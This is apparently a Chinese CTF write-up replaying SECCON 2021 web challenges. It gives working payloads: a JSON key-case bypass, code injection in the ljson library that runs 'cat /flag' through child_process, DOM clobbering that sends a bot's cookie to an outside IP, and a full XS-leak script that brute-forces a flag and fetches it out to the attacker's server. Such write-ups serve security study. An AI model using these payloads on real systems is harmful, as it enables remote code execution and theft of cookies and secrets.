seccon2021(复现)
wp:https://blog.arkark.dev/2021/12/22/seccon/
Vulnerabilities
审一波代码:
r.POST("/api/vulnerability", func(c *gin.Context) {
// Validate the parameter
var json map[string]interface{}
if err := c.ShouldBindBodyWith(&json, binding.JSON); err != nil {
c.JSON(400, gin.H{"Error": "JSON error 1"})
return
}
if name, ok := json["Name"]; !ok || name == "" || name == nil {
c.JSON(400, gin.H{"Error": "no \"Name\""})
return
}
// Get details of the vulnerability
var query Vulnerability
if err := c.ShouldBindBodyWith(&query, binding.JSON); err != nil {
c.JSON(400, gin.H{"Error": "JSON error 2"})
return
}
var vuln Vulnerability
if err := db.Where(&query).First(&vuln).Error; err != nil {
c.JSON(404, gin.H{"Error": "not found"})
return
}
c.JSON(200, gin.H{
"Logo": vuln.Logo,
"URL": vuln.URL,
})
})
flag存储在flag的URL和Logo里面,抓包可以发现发送了一些json字符串。目的就是能将flag返回。
type Vulnerability struct {
gorm.Model
Name string
Logo string
URL string
}
Vulnerability的结构体里面有个gorm.Model
,谷歌一下:https://www.cnblogs.com/zisefeizhu/p/12788017.html
而且还得知其会自增。所以flag的id=14。所以我们可以在json数据加入id=14说不定就能找到flag。关键是我们不知道flag的Name。如果Name和id不匹配,也不能找到flag。如果能让其只匹配id其他全置空,说不定就能找到flag。
if name, ok := json["Name"]; !ok || name == "" || name == nil {
c.JSON(400, gin.H{"Error": "no \"Name\""})
return
}
需要绕过这个才行。但是又要把name置空。所以payload如下:
{"Name":"asd",
"name":"",
"id":14
}
这样就能绕过Name的检查。然后本地调试了一下。发现var json map[string]interface{}
是区分大小写的,它把上面的键值对全都赋值到json里面了。然后query的话不区分大小写,而且还会覆盖值,导致Name为空,只有id有值。这可能跟sql不区分大小写有关(盲猜)。然后下面的语句
if err := db.Where(&query).First(&vuln).Error; err != nil {
c.JSON(404, gin.H{"Error": "not found"})
return
}
直接用id去搜索,所以能直接得到flag。
Sequence as a Service 1&Sequence as a Service 2
分析一波非预期。
抓包可以看到传了箭头函数。
const result = await execFile("node", ["./service.js", sequence, n], {
timeout: 1000,
});
reply.send(result.stdout);
将参数传给了service.js。然而service.js就只是调了库。看一波ljson
的源码:
var body = P.betweenSpaced(P.chr("("),LJSON_value(binders+varList.length, newScope),P.chr(")"))();
var args = varList.map(function(name,i){return toName(binders+i)}).join(",");
return "(function("+args+"){return "+body+"})";
这里有代码注入。如果body可控,直接就可以rce了。根据传参(a,b)=>(a("/",a("*",b,a("+",b,1)),2))
似乎是一个递归,看到最里面那个a函数,a("+",b,1)
似乎只能传3个参,而且根据lib.js:
"+": (x, y) => x + y,
"-": (x, y) => x - y,
"*": (x, y) => x * y,
"/": (x, y) => x / y,
",": (x, y) => (x, y),
地一个为运算符,其他两个为参数。而且js里面+可以当作字符连接符。
想办法来一波代码注入。本地可以调试一波service.js
const LJSON = require("ljson");
const lib = require("./lib.js");
const sequence = '(a,b)=>(a("+","1",2))';
//((function(a,b){return a("+","1\",",11)+global.process.mainModule.require('child_process').execSync('cat /flag')}))//"))
const n = parseInt('5');
console.log(LJSON.parseWithLib(lib, sequence)(n));
可以在最后有个匿名函数:
((function(a,b){return a("+","1",2)}))
明显a("+","1",2)
就是可控的地方。如果在1这里加入\
说不定就能逃逸。
当尝试一个\
直接报错了。
在ljson.js里面
if (isStringCharacter(c)){
result += c;
}
else if (c === "\\"){
var slashed = P.get();
switch (slashed){
case '"' : result += '\\"'; break;
case "\\": result += "\\"; break;
case "/" : result += "\\/"; break;
case "b" : result += "\\b"; break;
case "f" : result += "\\f"; break;
case "n" : result += "\\n"; break;
case "r" : result += "\\r"; break;
case "t" : result += "\\t"; break;
这个其实是判断\
后面一个是啥。当我们传入一个\
时,它会进入地一个case,因为\
的下一个就是"
。
所以这时得到的是\"
。所以我们得输入双反斜杠。为了不报错,需要闭合一个双引号。根据生成函数的格式((function(a,b){return a("+","1",2)}))
,需要在2这里将大括号之类的闭合,然后将后面多余的字符注释,所以差不多就可以构造出来了:
(a,b)=>(a("+","1\\",",global.process.mainModule.require('child_process').execSync('cat /flag'))}))//"))
构造函数的时候,body=a("+","1\\",",global.process.mainModule.require('child_process').execSync('cat /flag'))}))//")
其中,第二个参数为1\",
,第三个参数为global.process.mainModule.require('child_process').execSync('cat /flag'))}))//
其中)}))
把函数闭合了,然后+可以进行字符串连接。本地跑一下就明白了。
((function(a,b){return a("+","1\",",global.process.mainModule.require('child_process').execSync('cat /flag'))}))//")}))
然后直接该/flag为/flag.txt直接拿下两题了XD。
这和预期差得有点多
Cookie Spinner
源码分析一波。在bot的index.js里面可以看到,bot的cookie就是flag。想办法弄到cookie,应该是用XSS来拿。
app.use((req, res, next) => {
const nonce = crypto.randomBytes(32).toString("base64");
res.setHeader(
"Content-Security-Policy",
`default-src 'self'; script-src 'nonce-${nonce}'; base-uri 'none';`
);
req.nonce = nonce;
next();
});
设置了CSP(https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP)所以只能运行带有随机nonce的脚本。
在网页f12可以看到该脚本:
<script nonce="8EIqg+CQr+Tzk8m3OTy5jgT6pKemr+JTRt100dUtpps=">
const main = () => {
const cookie = new URLSearchParams(location.search).get("cookie");
if (cookie) {
document.querySelector("#cookie").textContent = cookie;
document.cookie = "cookie=; expires=Thu, 01 Jan 1970 00:00:00 GMT"; // I ate your cookie 😋
} else {
// `window.window` is `window`
// So, `window.window.window` is also `window`.
// It means `window.window. ... .window` is also `window`!
const wInDoW = new URLSearchParams(location.search).get("window") || "window";
try {
const WINDOW = window;
const window1 = WINDOW[wInDoW];
const window2 = window1[wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW];
const window3 = window2[wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW][wInDoW];
if (window2 === window3) {
WINDOW.location.href = window1.location.origin + window1.location.pathname + "?" + (WINDOW.location.search + "&").slice(1) + document.cookie;
}
} catch (e) {
console.error(e);
}
}
};
if (document.querySelector("meta") != null) {
console.error("I hate <meta> tags :(");
} else {
main();
}
</script>
所以XSS也只能运行它定义好的脚本。说明上面这个脚本有漏洞。明显如果window2等于window3,然后让bot去访问我们的服务器,就能把它的cookie发到我们的服务器上。
关键就是这个等于条件。这里需要用到小trick。
const defaultView = `
<div id="cookie" class="unclickable big spinner"></div>
`;
app.get("/", (req, res) => {
// You can edit the cookie viewer!
const view = req.query.view || defaultView;
const html = indexHtml
.replaceAll("{{NONCE}}", req.nonce)
.replaceAll("{{VIEW}}", view);
res.send(html);
});
同时,这个view可控,可以写html标签。但是script标签的代码不会运行,有CSP。所以我们需要用这个view去让window2等于window3,同时还能获取到cookie。
官方的解法:
<form>
<input id="form">
</form>
<a id="form" name="location" href="https://example.com"></a>
window.form.form=input,这里获取到input标签,因为它在form标签里面,且有id=form。
window.form.form.form=form,因为input标签有属性form,它指向父标签:https://developer.mozilla.org/en-US/docs/Web/API/HTMLInputElement#properties
window.form.form.form.form=input,https://developer.mozilla.org/en-US/docs/Web/API/HTMLFormElement
里面提到被命名的input标签会作为form的一个属性,所以上面的结果就是input。
以此类推,最终window2=window3。
再到下面,window.form.location
=a标签,因为它id=form,且name=location。所以window.form.location.origin
就会等于https://example.com
,因为a有origin的属性https://developer.mozilla.org/en-US/docs/Web/API/HTMLAnchorElement#properties
同理,window.form.location.pathname
=/,因为a有pathname的属性。最终,页面会重定向到href的网站。并且把cookie带过去。
最终payload:
http://153.127.199.64:3000/?window=form&view=<form><input id="form"></form><a id="form" name="location" href="http://47.96.173.116:2333/"></a>
这个在题目那里提交即可,然后监听端口就能拿到flag。
x-note
这道题不是很理解,分析一波非预期。
分析源码。bot会创建一个页面(同一个网站),随机用户密码注册登录,然后将flag写在note里面。然后再创建一个页面用于请求用户提交的url。可以发现,error页面可以写入html标签:
<div class="message-header">
<% if (url == null) { %>
<p>Error</p>
<% } else { %>
<p>Error at <%= url %></p>
<% } %>
</div>
<div class="message-body">
<%- msg %>
</div>
msg可控。然后ejs渲染,如果在提交note的时候抓包修改为note[toString]=aaa
,会导致ejs渲染出错,直接跳转到error页面。然后ejs会报两种错误,最明显的特征是是否带有filteredNotes,出错地方在:
<pre class="message-body is-dark"><%=
hitCount > 0 && filteredNotes[0] || 'Not found ...'
%></pre>
然后用search的方式,如果search到正确结果就不会有filteredNotes。但是需要同时将note[toString]=x¬e[a1]=SECCON{A¬e[a2]=SECCON{B...
全部一起上传。然后再search。然后加上msg写入恶意的html标签,从而检测结果。
payload:
<html>
<head>
<title>rem rem rem</title>
</head>
<body>
<div id="atk">
</div>
<script>
// const TARGET = "http://localhost:8000"
const TARGET = "http://web:3000"
const alphabet = "_abcdefghijklmnopqrstuvwxyz0123456789{}"
const exfil = document.location.origin
var flag = "SECCON{"
var w;
function sub(){
let r = ""
r+= `<input id="inp" name="note[toString]" value="1337">`
for(let i=0;i<alphabet.length;i++){
r+= `<input id="inp" name="note[f${i}]" value="${flag+alphabet[i]}">`
}
atk.innerHTML = `<form id="fo" action="${TARGET}/createNote" method="POST">${r}</form>`
inp.value = r
if(w && w.close){w.close()}
blob = new Blob([atk.outerHTML+"<script>fo.submit()<\/script>"], {type : 'text/html'});
w = window.open(URL.createObjectURL(blob))
}
function chk(idx){
w.location=`${TARGET}/?search=${flag+alphabet[idx]}&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=${document.location}%23exfil${idx}" />`
}
if(!document.location.hash.startsWith("#exfil")){
sub()
setTimeout(()=>{
chk(0)
},1000)
} else {
let flagFound = null
let r = null
if(document.referrer.indexOf("filteredNotes") > -1){
flagFound = false
r = parseInt(document.location.hash.slice(6))+1
} else {
flagFound = true
r = alphabet[parseInt(document.location.hash.slice(6))]
}
opener.postMessage({flagFound,r,oh:1})
}
window.onmessage = e=>{
if(e.data.oh){
if(!e.data.flagFound){
chk(e.data.r)
} else {
flag += e.data.r
console.log(flag)
if(flag.indexOf("}") == -1 ){
sub()
setTimeout(()=>{
chk(0)
},1000)
}
}
}
}
setInterval(()=>{
fetch(document.location.origin+"?a="+encodeURIComponent(flag))
},2000)
</script>
</body>
</html>
把这个写在web服务器上的index.html。然后在report那里输入自己的网址即可。当bot浏览该页面的时候,会往note那里上传note[toString]等flag前缀,然后再用search的方式,匹配到正确的结果,就会发送到web服务器上,一直将flag匹配出来,然后去查看web服务器的访问日志即可得到flag。这里用的${TARGETHOST}/?search=SECCON{A&msg=<meta name="referrer" content="unsafe-url"><meta http-equiv="refresh" content="0;url=http://ourhost/" />
来辨别不同的结果,通过检查referer的是否含有filteredNotes关键词区分。
讲道理,不是很明白为啥search的正确与否会有两个不同的报错结果。